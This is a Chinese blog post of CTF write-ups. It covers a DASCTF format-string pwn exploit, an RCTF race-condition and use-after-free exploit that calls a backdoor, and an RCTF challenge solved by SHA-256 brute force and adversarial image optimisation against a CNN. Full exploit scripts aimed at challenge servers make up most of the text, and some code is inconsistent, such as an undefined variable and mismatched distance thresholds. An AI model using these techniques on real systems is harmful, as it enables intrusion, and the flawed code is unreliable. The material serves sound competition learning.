最近的一些WP/ DASCTF/ RCTF
最近欠了不少的wp没发捏……ctf成分逐渐减少哈哈😄
DASCTF生而无畏
签到题目/非栈上格式化字符串
本题目是一个非栈格式化字符串。
这里有的题没给栈地址,其实不用爆破,栈地址可以直接泄漏啊!
所以这种的基本步骤就是泄漏栈地址,libc地址然后就是打就行
伪代码:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
memset(s, 0, 0x20uLL);
strcpy(s, "Easy Challange");
puts(s);
printf("Gift addr: %lx\n", s);
memset(s, 0, 0x20uLL);
strcpy(s, "Please leave your message: ");
printf("%s", s);
memset(s, 0, 0x20uLL);
read(0, buf, 0x100uLL);
printf(buf);
_exit(0);
}
此题目的思路就是,先利用栈上有的地址,把栈的一个地址改为需要修改的地址,然后再用%n索引到刚修改好的地址,然后开始改就行。思路就是第一次泄漏libc第二次ogg。
注意不能出现$符号来索引,因为用这个栈就被保存到堆上钉死了,后面就是只能用保存好的,没法做到修改一个以后用修改后的修改别的地址(怎么这么绕)。那应该怎么做呢?利用%c去进行偏移,或者直接%0c
也可以。比如说你要索引第三个,平常的是%3\$n
,这里就可以是%0c%0c%n
,效果是一样的。
然后注意每个payload里修改第二次地址的时候会出现一些偏移,要经过调试矫正偏移(exp里的off)。
然后sleep和recv真是远程打不通的神器……这里爆破就是因为有相关问题,其实不是爆破。
from evilblade import *
# context(os='linux', arch='amd64', log_level='debug')
def sll(a):
sl(a)
rv(1)
sleep(0.5)
def exploit():
while True:
setup("./pwn")
rsetup("node5.buuoj.cn",26493)
evgdb("b * 0x401361")
ru(": ")
# 首先获取gift的地址,也就是栈上的地址
ok = b"0x" + tet()[:-1]
ok = int(ok, 16) - 0x28
# 这里ok就是printf的返回地址的栈的位置
ok = ok % 0x10000
dx(ok)
main = 0x4010f0 - 5 - (ok % 0x10000 - 0xd + 0x8) + 0x4010f0 - 0x401293
# 第一次payload,找到第七个%hn的位置,修改为ok的值,然后再继续索引到0x30去修改printf返回地址为main/start
sll(f"%c"*5 + f"%{ok % 0x10000 - 0xd + 0x8}c%hn" + "%p "*(0x30-8) + f"%{main}c%n")
try:
# 有时候远程会失败这里使用try来处理
# 这里是获取泄漏的libc地址
add = ru("\n")[:-1]
add = int(add.split()[14], 16) - 147587
dx(add)
oggs = [0xe3afe, 0xe3b01, 0xe3b04]
ogg = add + oggs[1]
ru("ift addr: ")
except Exception as e:
print(f"Exception occurred: {e}")
clo()
continue
# 这里是获取到了main之后再一次gift的地址,这里的ok是printf内部调用的函数的地址,其返回地址是libc地址,方便修改为ogg
ok = b"0x" + tet()[:-1]
ok = int(ok, 16) - 0x28 - 0x100 + 0x20
ok = ok % 0x10000
dx(ok)
off = 0xe16d - 0xe148
off2 = 0x8b09 - 0x8afe
off3 = 0xe165 - 0xe148 - 2
ogg2 = (ogg % 0x100000000 - ogg % 0x10000) >> 16
# 第二次payload,修改printf内部函数的返回地址为ogg。
# 这里用%n写入了四次。第一次是修改栈上的一个地址为ok,第二次是修改ok的两个字节为ogg的后两个字节
# 第三次是修改栈上的一个地址为ok+2,然后第四次是修改ok+2为ogg的倒数第三第四个字节,然后最开头的四个字节原本的返回地址就是匹配的,不用修改
payload = f"%c"*6 + f"%{ok % 0x10000 - 0xd + 0x8 - 1}c%hn" + "%c"*37 + f"%{(0x10000 - off - ok) + (ogg % 0x10000)}c%n" + "%0c"*10 + f"%{0x10001 - off2 - ogg % 0x10000 + ok + 2}c%hn" + "%c"*26 + f"%{0x10000 - off3 - ok - 1 + ogg2}c%hn" + "%p "*0x100
sll(payload)
dx(ogg)
dx(ogg2)
dx(ok)
# 返回即可getshell
congra()
ru("\n")
ia()
exit(0)
if __name__ == "__main__":
exploit()
运行结果:
RCTF
Taskgo
首先通过条件竞争,将金钱数值溢出到无限大,然后学习所有的魔法卷轴,通过2 1337来泄漏后门地址或者system地址,最后关键点在于,使用1337时有5s的时间,此时用drop释放player内部的结构体,然后快速申请用评论功能,就可以写入player的结构体,而此时1337还是使用原来的结构体,就会导致任意地址执行。我们将结构体用backdoor填充,用户名是/flag即可获得flag。
exp如下:
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup("./ctf")
rsetup("1.94.107.129",10088)
evgdb()
def got(index,flag=1):
sl(b"1")
sl(b"3")
sleep(0.5)
sl(b"2")
sl(b"1")
sl(str(index))
sleep(0.5)
# sl(cyclic(0x3000))
sl(b"2")
sl(b"3")
sleep(0.5)
if flag:
sl(b"2")
sl(b"2")
sleep(0.5)
# sl(cyclic(0x3000))
def back():
sl(b"2")
sl(b"1337")
sl(b"/flag")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"2")
sl(b"1")
sl(b"2")
sl(b"3")
sl(b"2")
sl(b"2")
sl(b"3")
sl(b"3")
sl(b"3")
sleep(3)
sl(b"2")
sl(b"1337")
sl(b"3")
sleep(0.5)
sl(b"3")
sleep(0.5)
got(3)
got(2)
got(1,flag=1)
sleep(3)
got(3, flag =0)
back()
sleep(6)
sl(b"3")
ru("5s")
ru(">> ")
libc = getx(0,-1)-331536
pie = getx(0,-1)+0x4cba0
dx(libc)
dx(pie)
tet()
backdoor = getx(-15,-1)
sl("1")
sl("1")
sleep(1)
dx(backdoor)
pause()
sl("2")
sl("1337")
sl(cyclic(0x500))
sl("2")
sl("2")
sl("1")
sl("1")
sleep(1)
sl("2")
sl("2")
sleep(1)
sl(cyclic(40)+p64(backdoor)+b"\n")
print("[+] Done!")
ia()
Ezlogin
前面的hash通过简单爆破可以得到。
后面需要输入一个dist小于6的图像字节信息,这里的方法是使用每个字节不断循环变化从而减小dist,如果减小了则记录。以此不断变化不断减小直到小于6,即可获得flag。
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
# 定义 CNN 模型
class CNN(nn.Module):
def __init__(self):
super(CNN, self).__init__()
self.conv1 = nn.Conv2d(1, 2, 3, padding=1)
self.conv2 = nn.Conv2d(2, 8, 3, padding=1)
self.conv3 = nn.Conv2d(8, 32, 3, padding=1)
self.pool = nn.MaxPool2d(2, 2)
self.fc1 = nn.Linear(32 * 3 * 3, 1024)
self.fc2 = nn.Linear(1024, 512)
self.fc3 = nn.Linear(512, 256)
self.fc4 = nn.Linear(256, 128)
self.fc5 = nn.Linear(128, 47)
def forward(self, x):
x = self.pool(self.conv1(x))
x = self.pool(self.conv2(x))
x = self.pool(self.conv3(x))
x = x.view(-1, 32 * 3 * 3)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = F.relu(self.fc4(x))
x = self.fc5(x)
return x
# 加载模型
device = torch.device("cpu")
model = CNN().to(device)
model.load_state_dict(torch.load('model.pt.state', map_location=torch.device('cpu')))
# 预定义的特征向量
target_feature = torch.tensor([[-6.19499969e+01, -1.56200895e+01, -3.52624054e+01, -1.34233132e-01,
-6.48261490e+01, -1.47979248e+02, -5.15059547e+01, -1.14444227e+01,
4.33434563e+01, -3.69645386e+01, 2.00579977e+00, 4.74611549e+01,
-6.33986130e+01, -1.57887411e+01, -2.87570419e+01, -5.35021248e+01,
-1.73028266e+00, -3.61370316e+01, -7.58331375e+01, -7.46535110e+01,
-7.24118347e+01, -4.76773834e+01, 6.51892662e+00, -5.07196846e+01,
-1.03041328e+02, 4.72574463e+01, 9.03826065e+01, 5.30947495e+01,
-5.03226738e+01, -1.50200531e+02, -3.46447792e+01, -4.23207245e+01,
6.44030609e+01, -5.05351334e+01, -4.11206970e+01, -2.18300457e+01,
2.70750694e+01, -1.00022865e+02, 3.77698517e+01, -3.60703392e+01,
-6.88536682e+01, 1.16945248e+01, -4.62400284e+01, -4.79546585e+01,
6.10636101e+01, -1.12650543e+02, -1.34837357e+02]], dtype=torch.float32)
# 随机初始化图像
image = torch.rand((1, 1, 28, 28), dtype=torch.float32, requires_grad=True)
limit = 300
# 优化器
optimizer = torch.optim.Adam([image], lr=0.00001)
# 优化图像使其特征向量接近目标特征向量
step = 0
while True:
step +=1
optimizer.zero_grad()
feature_new = model(image.to(device))
loss = F.mse_loss(feature_new, target_feature)
loss.backward()
optimizer.step()
# 计算特征向量之间的距离
with torch.no_grad():
optimized_image = (image.detach().cpu().numpy().squeeze() * 255).astype('uint8')
img_new_tensor = torch.tensor(optimized_image.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
# print(dist_final)
if step % 100 == 0:
print(f"Step {step}, Loss: {loss.item()}, Distance: {dist_final}")
if dist_final < limit:
break
# 确保优化后的图像在距离小于6时输出
if dist_final < limit:
optimized_image = (image.detach().cpu().numpy().squeeze() * 255).astype('uint8')
# 输出图像字节信息
bbb = optimized_image.tobytes()
print(bbb)
else:
print("Failed to reduce distance below 6")
# 重新计算优化后的图像特征向量和距离
model.eval()
with torch.no_grad():
img_new_tensor = torch.tensor(optimized_image.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
print("Final Loss:", loss.item())
print("Distance:", dist_final)
bbb = b"\x00"*28*28
bbb = b'\x00\x97\xe7\xd2\xb8\xae\xda\x16\x00\xc5\x11`Pa\x8d\x9c\x16\n\x02\xdb\x02\xdd\x04:\x01\xff\xe7\x84\xff\x00\xffZ\x18\x00\x00\x00\x01\x07\t\xcf\x0c\x01\x14C\x1br[\x05\x007{\x1bZ\xff\xc1\xff\x00\xf3\x05\x00.\x0e\x13\x00\x00\x00\\R\x02\x07\x13\x01\x00B\x007\x18\x00\x0b\xfd\xfe\x00\xcc,\x16\xf7\xff@\x05\t\x01\x03\x05\x03\x00\x00\x00\x0c\x008\x08\x00\x00\xa0"\x00\xcf\x00\xd6Z`!\x04\t\x1bj\x00\x06\x16\n\x01\x0f\x15\x03#Kp0\n\xff\xff\x8fD\x00,\\\x8b-\x07\x00&/\x006\x01\r\rg\x04\x05\x00\xd5\xff\xff\xf4\xff\xff\xff\xfe\xf7\x14\x07\xca\xa3\xffZ0\x00\x00\x10\x13&\x01\x01\x00\x01\x00\xf2\xde\x94\x03\xe2[\x93\x00\x0e\x02\x04\x10\x06\xff\xff\xbdU\x00\x044\x02\x00\r\x00\r\x00 4\xed\xff\xfc\xfc\xfe\x9a\xff\nt!\x00\x14\x00\x0c\n\x1b\xae\x12d*\x00\x00\x00\x11]R\x009\xffg\x00\x00\x1a\x00\x00{\x1b\x00\n\x00\x1e\x07\x05\x00\x15\x805\x00\x00\x01\x00\x00+\x0b\x07\x00\x01\x1d\x01\x00*\x1c\x9a\x1b\xe9\xff\r \xf2\xff\x03\x86\x00\x02\xfd\xffaD)\x00\x03\x08b\x10\x03\x00\x00\x00\x00\x1a\x00\x00\x05\xfa\x97\xf4(\x08\x84 \xfb\xfe\xffe\xfe\x00\x0f\t\x07\x04:\x02\x180\xf8\xff\xfd\xff\xf9\xa7\x046\x00g\x02\xff\xe9e\x00B\xff\xffR:\x0e\x128\x0e\xe48M\xff\x01\nK\xd0*1\'(\x01\x9d\xbd\x9c\x00\xeb\x0e\x00TE\n\x039\x07U\x00\x1d9\x1a\x08\x00\x00\x000\x00\xba\xf2\xfb\x07%\xfeJ\xf6g\xf11\xf0,\x08\x00\x006&,\x15\t\x00\x00\x00\x00\x00\x07\x08D\xe1\x8c\x0c\x12\x1a9\nnO@\xf6\xff\xe83\xa0\x07\x03\x00\x08 \x00\x10\x00<\x06&\x00\x07\x00\xec\x00\x00\x152A\x11\x08\x00\x00\\\x10\x08\x03<\x03\xd2z\x00\x13\x1f\x0b\x007\x01\x02\x16\x0eWX\x01\x1ed\n\'\x0e#9\xf8\xd4\x01\x00o\xb3\x0f\x02\x0ca/\x18K\x031\x00\x00\x00\x1b\x0e\xfb\xd1\x0b\x14\x00\x04\x12\x15\x04\x022\xb7\x05\x01\x10\x04\x03c\x00\x008/\x00\x02\x0c\t\x15\x00(\x01\x00\t\x16\x00\x00\x112"\x00^\x04\x04>\x03\x00+\x18&\x1c\x0f\x16\x02\x0f\x19\x0e\x13-\x00\x00\x03\r\x08\x03\x02\x00\x04\x033\x00\x00>\x1d\x03\x0f\t\x15\x03\x0e\x13\x1b\x0f \\:\x01\x00\x00\x00\x00\x00\x03\x7f\x19\x08\x00)\x18\x0f\x01\x00\x01\x01\x00\x00\x16\x01\x00\x1b?\x00\x00\x00\x10\x00\x105\x00\x02s"\x01\x18\x00\x0e\x07\x0c\x02\x05\x04\x00\x00\x00\x00\x08\t\x02\x0b\x07\x08\x0c\x0b\x00\x04\t\x1cA\t\x00&\x1e\x00\x1f\x12t\t\x00\x01\x0c\x07\x00\x01\n\x01J\x00\x07\x03\x1a\x0b\x01\x00\t\x04\n\x04\x12\x88\xff\x8c\x13B\x1c\x08\x00n\x00\x00\x00\x01\x00\x03"\x04\x07\t\x05\x00\x00\x00\x07\x00\x03\x03\xd20\xdd\x1a9\xd7\x1a.\x03\x02\x00\x00\x04\x01\x00\x021\t\r\x06\x03\x00\t\x00\x01\x00\x01\x00\x0e\x08+i\x1b\x070M\x00\x00\x00\x00\x06\x00\x00\x00\x06\x05\x00\x00\x00\x00\x00\x00\t\x0e\x13\'V\x00\x00 \x00\x00 \r\x01\x01\x02\x01\t\x00\x00\x00\x00\x00\x10\x00\x00\x01\x00\t\x0b\x01\x00\x00\x00'
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
print("Final Loss:", loss.item())
print("Distance:", dist_final)
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
min_dist = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
print(min_dist)
best_b = bbb
# 逐字节调整图像直到距离小于6
while min_dist >= 100:
for i in range(28):
for j in range(28):
for value in range(256): # 尝试所有可能的像素值
temp_b = bytearray(best_b)
temp_b[i*28+j] = value
# 计算新的特征向量和距离
optimized_image_reconstructed = np.frombuffer(temp_b, dtype='uint8').reshape(28, 28)
with torch.no_grad():
img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
temp_dist = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
# 如果距离更小,则更新最佳图像
if temp_dist < min_dist:
min_dist = temp_dist
best_b = bytearray(temp_b)
print(f"Updated pixel ({i},{j}), value: {value}, new min distance: {min_dist}")
if min_dist < 6:
break
if min_dist < 6:
break
if min_dist < 6:
break
# 最终输出优化后的图像
print(best_b)
bbb = best_b
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
img_new_tensor = img_new_tensor.unsqueeze(0)
feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
print("Final Distance:", final_dist)
from evilblade import *
import hashlib
context.log_level = "debug"
rsetup("47.94.109.95", 40999)
ru("hash: ")
target = ru("\n")[:-1].decode()
d(target)
ru("bytes: ")
prefix = ru("\n")[:-1].decode()
d(prefix)
# prefix = "f81091150e14" # 给定的前6个字节
# target = "ce0f8313199c08f9c56907acc59e1749c922d0bbf05e83ccfbd79d8fbfeb916b" # 目标哈希值
for i in range(256):
for j in range(256):
last_two_bytes = bytes([i, j])
hash_input = bytes.fromhex(prefix) + last_two_bytes
hash_value = hashlib.sha256(hash_input).hexdigest()
if hash_value == target:
print(f"Found last two bytes: {last_two_bytes.hex()}")
pay = last_two_bytes.hex()
break
d(pay)
sla("2 ",pay)
# image = b'DV\xfe;_\xcfRSk\xb8\xd2\n\xf5\x98\xe4\x88\xb2z\xfa\xdft \xd2\xd3. \xd7\xe7\xe8\xf4\x11Z\x839|Y\x1a\x04~\xc7_\r\x9e\xb5\x8fX\xc7\xc7\xc0\xd6l\xe1\xb4\x9e=\x810z\xc0\x1e\x8b\x85\xde.\x8e\x10Y\xb4\x82Z\xde\x88\xba\x00\xff\xfe\xe25\xa7\xd3\xef\xbc/\xe1\x8eo \xf0\x10\x9f\xa5\x1e\xe85v\t?\xacw\x8cX}\xa0\'\x185\x934J\xf3:~\xe4\x96BZu\xe4W\xd7k\xd6\xd4\xc3\x1d8\xfc\xd4.\x05\x9aB\xadeF#\xc6\xdf\x8ac\xb7\xb3b\x92\xc3\xf7,\xe90J6[\xa9\xe0~\x1e\x1a\xf4\xa6\xddx\x9eH?0Xi|\xcc\xd1\xd3x\xd3J=\x89\x10\x17\xb8\x7f\x92\xa2\x89\x9b[\xda\xdeE\xe51\xeco\x8d\xd3l\rP\x1cj\t\xb9r\xae\x95a%L\xb5\x90\xdc\xf8\xfd\x9f\x90\x00\xad\x83\x9a\x8dV\xf2C\xa5\xa9\xc63*JQ\r\x89\xd8\x96\x91\xb4";Hx\xbcjL\x9b\xa5\xd9\xfa\xd2F\xeb\x98\xac\xbc^\x95pA\x900\xa2\xc0\x1a\xc0@}\xe3\xea\x93x\x0c^N\xd8\\\xc5\x93\x9cB"\x88\x94\x82@_E\xef*?*\xee\xa3W\x9d\xfa\xde\xb79\t?Ha\x91\xa7\xd9F\x1c[\r\x85\xd3\xed\x19\x98\xf6dr\xeb\xfa\x82\x8e\'\x04\xfe\'2\x94\xe4\xa0\x06j\xa7\x00\xf0\x8f\xc9\x0bC\r\xb3\x98!\xe3v\xa1\xf86g;\n<\x80\xf9R7H\xdb\x9d;\xe8\xc0\xb8\xd6\xd2\xabu\x17Mg\x18\x11l\x98\xda\x07\x10\xe2\xf3\x9f\x16\xb7\x16\xba\x81\x80\xc9^\x11\xf7\x04\xb7{i^\xec\xa2\x9e\t\xc0\x0c\xba!\x15\x0f\xe0TN\x1fPTp\x9d\x9a\'\xfa6]\xb9\xeej\x0c\r7{\xdb\xcf1\xd7x\x1e<x\xf9r\x99\r\xfc\x17u\xcaI3n\xca\xb2\xc2\x01\xb4\xf2\x89\xa0F|3\\\x04\x8a\x91\x8b\x12\x0f\xa9\x16\xb1\xf8\xe6.i\x9e#\x06\xf5\x8f$.@\xa5\xfaL\t\xb2&j\xd2xN0\xa5\xe2}\x80\x1d>\x18\xbbx\xed\x95\x89\xe3\xfc/N\xc0\xb6\xbe%Z\xc1\x9c\xce}\xf5\xb1\xb5\xb4\x94\xfe\x84\x9d\x84}\xa4(f\xd2Gl\xe7\xc0\x99\xb3\xcb\xbd\xfa\x91\xedW\xfc\x8bp\xe0\x90as\x1c\x00\xe0\xbc[\x17\xe4\xbe]\x91\xe5\xa2CU\xa7\xc8\xae\x987\xaeS\xfeX\x91~\x95\xd0l\x00vL%q\xba\xe1i\x1bXg\x02a\x84\x8az\xfb(kj\xbc\x97\xfc\xe3?r\xe6\x11S\x13$\xed \xf0\x80\xd4\x9fC\xea\x81\xdb\xf68\xe9\x82\xc9!!\r\xe28\xee\x1eJ\x08\xa8\x1f\xd5lRl\x1ba\xd4\xbd\x1b\xa0\xc0\xcc\rm\xaf\x12\xc9\xba\xb1\xb3X\xbf\x12Q\xd9\xba\x95\x1dEA\x00\xea\x91\x93\x87T\x86\x89\xc5x!\x90\xac\xc5\x82>[E*\x88\xefF\xc6\xb9\x84D\xdf\x10\xdf\xca&\xe4\x8f\x98\xbe\xf6V4\x9c-\xa2\x7fX" d\xd5>\xbd\r\xa8\xe7\xc76SGQ\xcc}\xf6z\x80g4\xbb\t\xb0\xe1A\xcbo\x01M\xb9;\xfd\xf4\x93\x90Z\xd5\xb0\xf0Vu\x93\xaa\x9c\xd9/rD\x93\xdc\x1e\x9bn\xdf\x84nVtt\x14-\x1e\xd5\xf2\x9b\x8b\xd57\x91s\x99\x11\xbf@b\xf5\x03@MLe\x06'
# image = b'\x00\x97\xe7\xd2\xb8\xae\xda\x16\x00\xc5\x11`Pa\x8d\x9c\x16\n\x02\xdb\x02\xdd\x04:\x01\xff\xe7\x84\xff\x00\xffZ\x18\x00\x00\x00\x01\x07\t\xcf\x0c\x01\x14C\x1br[\x05\x007{\x1bZ\xff\xc1\xff\x00\xf3\x05\x00.\x0e\x13\x00\x00\x00\\R\x02\x07\x13\x01\x00B\x007\x18\x00\x0b\xfd\xfe\x00\xcc,\x16\xf7\xff@\x05\t\x01\x03\x05\x03\x00\x00\x00\x0c\x008\x08\x00\x00\xa0"\x00\xcf\x00\xd6Z`!\x04\t\x1bj\x00\x06\x16\n\x01\x0f\x15\x03#Kp0\n\xff\xff\x8fD\x00,\\\x8b-\x07\x00&/\x006\x01\r\rg\x04\x05\x00\xd5\xff\xff\xf4\xff\xff\xff\xfe\xf7\x14\x07\xca\xa3\xffZ0\x00\x00\x10\x13&\x01\x01\x00\x01\x00\xf2\xde\x94\x03\xe2[\x93\x00\x0e\x02\x04\x10\x06\xff\xff\xbdU\x00\x044\x02\x00\r\x00\r\x00 4\xed\xff\xfc\xfc\xfe\x9a\xff\nt!\x00\x14\x00\x0c\n\x1b\xae\x12d*\x00\x00\x00\x11]R\x009\xffg\x00\x00\x1a\x00\x00{\x1b\x00\n\x00\x1e\x07\x05\x00\x15\x805\x00\x00\x01\x00\x00+\x0b\x07\x00\x01\x1d\x01\x00*\x1c\x9a\x1b\xe9\xff\r \xf2\xff\x03\x86\x00\x02\xfd\xffaD)\x00\x03\x08b\x10\x03\x00\x00\x00\x00\x1a\x00\x00\x05\xfa\x97\xf4(\x08\x84 \xfb\xfe\xffe\xfe\x00\x0f\t\x07\x04:\x02\x180\xf8\xff\xfd\xff\xf9\xa7\x046\x00g\x02\xff\xe9e\x00B\xff\xffR:\x0e\x128\x0e\xe48M\xff\x01\nK\xd0*1\'(\x01\x9d\xbd\x9c\x00\xeb\x0e\x00TE\n\x039\x07U\x00\x1d9\x1a\x08\x00\x00\x000\x00\xba\xf2\xfb\x07%\xfeJ\xf6g\xf11\xf0,\x08\x00\x006&,\x15\t\x00\x00\x00\x00\x00\x07\x08D\xe1\x8c\x0c\x12\x1a9\nnO@\xf6\xff\xe83\xa0\x07\x03\x00\x08 \x00\x10\x00<\x06&\x00\x07\x00\xec\x00\x00\x152A\x11\x08\x00\x00\\\x10\x08\x03<\x03\xd2z\x00\x13\x1f\x0b\x007\x01\x02\x16\x0eWX\x01\x1ed\n\'\x0e#9\xf8\xd4\x01\x00o\xb3\x0f\x02\x0ca/\x18K\x031\x00\x00\x00\x1b\x0e\xfb\xd1\x0b\x14\x00\x04\x12\x15\x04\x022\xb7\x05\x01\x10\x04\x03c\x00\x008/\x00\x02\x0c\t\x15\x00(\x01\x00\t\x16\x00\x00\x112"\x00^\x04\x04>\x03\x00+\x18&\x1c\x0f\x16\x02\x0f\x19\x0e\x13-\x00\x00\x03\r\x08\x03\x02\x00\x04\x033\x00\x00>\x1d\x03\x0f\t\x15\x03\x0e\x13\x1b\x0f \\:\x01\x00\x00\x00\x00\x00\x03\x7f\x19\x08\x00)\x18\x0f\x01\x00\x01\x01\x00\x00\x16\x01\x00\x1b?\x00\x00\x00\x10\x00\x105\x00\x02s"\x01\x18\x00\x0e\x07\x0c\x02\x05\x04\x00\x00\x00\x00\x08\t\x02\x0b\x07\x08\x0c\x0b\x00\x04\t\x1cA\t\x00&\x1e\x00\x1f\x12t\t\x00\x01\x0c\x07\x00\x01\n\x01J\x00\x07\x03\x1a\x0b\x01\x00\t\x04\n\x04\x12\x88\xff\x8c\x13B\x1c\x08\x00n\x00\x00\x00\x01\x00\x03"\x04\x07\t\x05\x00\x00\x00\x07\x00\x03\x03\xd20\xdd\x1a9\xd7\x1a.\x03\x02\x00\x00\x04\x01\x00\x021\t\r\x06\x03\x00\t\x00\x01\x00\x01\x00\x0e\x08+i\x1b\x070M\x00\x00\x00\x00\x06\x00\x00\x00\x06\x05\x00\x00\x00\x00\x00\x00\t\x0e\x13\'V\x00\x00 \x00\x00 \r\x01\x01\x02\x01\t\x00\x00\x00\x00\x00\x10\x00\x00\x01\x00\t\x0b\x01\x00\x00\x00'
sa("28",bbb)
ia()